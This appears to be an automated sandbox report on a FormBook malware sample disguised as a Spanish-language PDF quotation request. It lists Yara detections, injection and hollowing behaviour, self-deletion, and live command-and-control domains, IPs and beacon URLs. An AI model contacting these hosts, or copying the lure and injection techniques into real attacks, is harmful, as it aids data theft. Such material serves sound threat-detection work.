Source: Yara match File source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 532838 Sample: Solicitud urgente de Quotai... Startdate: 02/12/2021 Architecture: WINDOWS Score: 100 37 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->37 39 Found malware configuration 2->39 41 Malicious sample detected (through community Yara rule) 2->41 43 9 other signatures 2->43 10 Solicitud urgente de Quotaion_U1197,pdf.exe 3 2->10         started        process3 file4 29 Solicitud urgente ...n_U1197,pdf.exe.log, ASCII 10->29 dropped 13 Solicitud urgente de Quotaion_U1197,pdf.exe 10->13         started        16 Solicitud urgente de Quotaion_U1197,pdf.exe 10->16         started        process5 signatures6 55 Modifies the context of a thread in another process (thread injection) 13->55 57 Maps a DLL or memory area into another process 13->57 59 Sample uses process hollowing technique 13->59 61 Queues an APC in another process (thread injection) 13->61 18 explorer.exe 13->18 injected process7 dnsIp8 31 www.afxwn.icu 156.234.12.248, 49833, 80 XIAOZHIYUN1-AS-APICIDCNETWORKUS Seychelles 18->31 33 www.weqffg.site 162.214.233.244, 49785, 80 UNIFIEDLAYER-AS-1US United States 18->33 35 2 other IPs or domains 18->35 45 System process connects to network (likely due to code injection or exploit) 18->45 22 msdt.exe 18->22         started        signatures9 process10 signatures11 47 Self deletion via cmd delete 22->47 49 Modifies the context of a thread in another process (thread injection) 22->49 51 Maps a DLL or memory area into another process 22->51 53 Tries to detect virtualization through RDTSC time measurements 22->53 25 cmd.exe 1 22->25         started        process12 process13 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
192.0.78.24
 analytics-at-scale.com United States
2635 AUTOMATTICUS true
162.214.233.244
 www.weqffg.site United States
46606 UNIFIEDLAYER-AS-1US true
156.234.12.248
 www.afxwn.icu Seychelles
136800 XIAOZHIYUN1-AS-APICIDCNETWORKUS true

Contacted Domains

Name IP Active
www.afxwn.icu 156.234.12.248 true
www.weqffg.site 162.214.233.244 true
analytics-at-scale.com 192.0.78.24 true
www.analytics-at-scale.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.coralxlix.com/c1h5/ true
  • Avira URL Cloud: safe
 low
http://www.afxwn.icu/c1h5/?2do4nxu0=dDVdw41TThH+tglXdiSPLe9aGuOwvr9FdRXdYLI3Qef1kwVllG2roDseQXIwgkVkVQDX&q4Y4=kvWdz true
  • Avira URL Cloud: safe
 unknown
http://www.weqffg.site/c1h5/?2do4nxu0=xDzgA/AT2jMmjnlrkj7rt3ckDtoX4QGQrpVL2KD3Bff+aUtt+S7+kl+hKb5L2UO+/CvD&q4Y4=kvWdz true
  • Avira URL Cloud: phishing
 unknown
http://www.analytics-at-scale.com/c1h5/?2do4nxu0=eCqut3pLTAp695DvAk1SvvQ7mDNC6PWTA4g6LTP2Tz9bKaOndJvYlqsLJ7dAZrG7pLSW&q4Y4=kvWdz true
  • Avira URL Cloud: safe
 unknown